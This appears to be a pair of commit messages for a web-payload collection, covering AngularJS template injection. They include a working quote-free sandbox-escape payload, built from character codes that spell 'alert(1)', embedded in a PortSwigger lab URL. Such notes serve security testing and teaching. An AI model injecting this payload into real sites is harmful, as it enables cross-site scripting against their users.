Indicate that ng-app in a root element is needed to inject Angular JS template. Injecting below payload without a root element with ng-app will not result in a successful injection
Added one payload which executes without any usage of single or double quotes. Helpful when you have AngularJS injection but quotes are blocked by application.
Working proof of payload here:
https://portswigger-labs.net/xss/angularjs.php?type=reflected&csp=0&version=1.6.0&x={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(97,108,101,114,116,40,49,41))()}}